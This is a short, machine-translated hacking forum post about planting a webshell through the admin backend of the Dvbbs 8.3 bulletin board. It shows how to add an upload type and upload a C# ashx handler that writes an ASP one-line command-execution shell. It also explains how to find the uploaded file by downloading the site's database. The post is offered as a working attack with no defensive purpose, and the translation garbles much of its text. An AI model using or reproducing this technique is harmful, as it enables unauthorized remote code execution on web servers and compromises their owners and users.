In fact, dv8.3 uses webshell and 8.2 in the background, which is only one step more. This step causes its limitations.
I got a dv8.3 background today, but I couldn't find a webshell method on the Internet, so I studied it myself. Same as dv8.2, add the php Upload type, upload a php file, and the php file cannot be viewed in the dv8.3 background. Download the database to view the DV_upfile data table, search for the F_ID field to get the php file address (limitations: you must know the database address, and can be downloaded), it is generally OK, but the server I got does not parse php, but aspx, so add the upload type ashx, upload an ashx file, the file content is
<% @ WebHandler Language = "C #" Class = "Handler" %>
Using System;
Using System. Web;
Using System. IO;
Public class Handler: IHttpHandler {
Public void ProcessRequest (HttpContext context ){
Context. Response. ContentType = "text/plain ";
StreamWriter file1 = File. CreateText (context. Server. MapPath ("jedy. asp "));
File1.Write ("<% response. clear: execute request (" jedy "): response. End %> ");
File1.Flush ();
File1.Close ();
}
Public bool IsReusable {
Get {
Return false;
}
}
}
Follow the previous steps to obtain the address. You can browse this ashx file to generate a jedy. asp statement in the same directory. What everyone knows then ······
Www.2cto.com: useless suffixes cannot be deleted.